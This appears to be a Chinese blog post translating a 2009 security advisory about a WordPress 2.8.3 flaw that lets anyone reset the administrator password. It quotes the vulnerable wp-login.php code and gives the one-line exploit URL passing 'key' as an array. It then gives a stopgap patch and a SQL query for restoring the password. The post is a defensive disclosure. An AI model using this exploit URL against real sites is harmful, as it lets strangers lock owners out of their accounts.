咳,刚用上没几天就出现个漏洞,不大不小,出现了却让你十分头疼。文章内容
来自
http://www.milw0rm.com/exploits/9410 我大致翻译下
=============================================
- 漏洞发布日期: 2009/08/10
- 发现者: Laurent Gaffié(他这个是什么E?)
- 严重程度: 中等(我靠 还中等 无聊的人一直重置你密码 你就甭想更新博客了)
=============================================
漏洞名称
————————-
WordPress <= 2.8.3 Remote admin reset password
WordPress 远程任意重置管理员密码 2.8.3(包括)一下版本通杀
漏洞描述
正常情况下我们必须知道用户名或者管理的电子邮件才可以重置,重置后你的邮
箱将会收到一封重置密码的连接
譬如
http://blog.tkbbs.com/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
我们来看看出现漏洞的页面源代码:
wp-login.php:
186行
function reset_password($key) {
global $wpdb;
$key = preg_replace(‘/[^a-z0-9]/i’, ”, $key);
if ( empty( $key ) )
return new WP_Error(‘invalid_key’, __(‘Invalid key’));
$user = $wpdb->get_row($wpdb->prepare(“SELECT * FROM $wpdb->users
WHERE user_activation_key = %s”, $key));
if ( empty( $user ) )
return new WP_Error(‘invalid_key’, __(‘Invalid key’));
276行
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : ‘login’;
$errors = new WP_Error();
if ( isset($_GET['key']) )
$action = ‘resetpass’;
// validate action so as to default to the login screen
if ( !in_array($action, array(‘logout’, ‘lostpassword’,
‘retrievepassword’, ‘resetpass’, ‘rp’, ‘register’, ‘login’)) && false
=== has_filter(‘login_form_’ . $action) )
$action = ‘login’;
370行
break;
case ‘resetpass’ :
case ‘rp’ :
$errors = reset_password($_GET['key']);
if ( ! is_wp_error($errors) ) {
wp_redirect(‘wp-login.php?checkemail=newpass’);
exit();
}
wp_redirect(‘wp-login.php?action=lostpassword&error=invalidkey’);
exit();
break;
从上你可以看出你可以滥用密码重置功能,并绕过用户名(电子邮箱地址)验证,
然后直接重设代表管理密码的$key 关键变量。
利用方法
/wp-login.php?action=rp&key[]=
管理密码将无确认直接充值成随机密码
任何浏览者都可以利用此链接重置管理员密码
WordPress 2.8.3(包括)及以下全线阵亡。。
补丁?
哦 上帝 WordPress还没出现补丁包
我这里提供我的好友 一想千开提供的办法 在此感谢 
以下是他的分析:
key[] 时
PHP会认为KEY是一个数组
我们可以判断KEY是不是数组
是数组 终止执行或者提示
这样就O了
搜索wp-login.php文件
require( dirname(__FILE__) . ‘/wp-load.php’ );
下面增加
if (is_Array($_GET["key"])){
exit();
}
OK 收工
如果你不幸中招怎么办?
登陆你的phpadmin吧
输入SQL查询语句
UPDATE `你的数据库名`.`wp_users` SET `user_pass` = ‘32位的MD5加密’
WHERE `wp_users`.`ID` =1 LIMIT 1 ;
你可以到一些提供MD5在线加密的网站把你的密码加密后 在复制到查询器查询更
新。然后你就可以用你的新密码登陆了
Recent Comments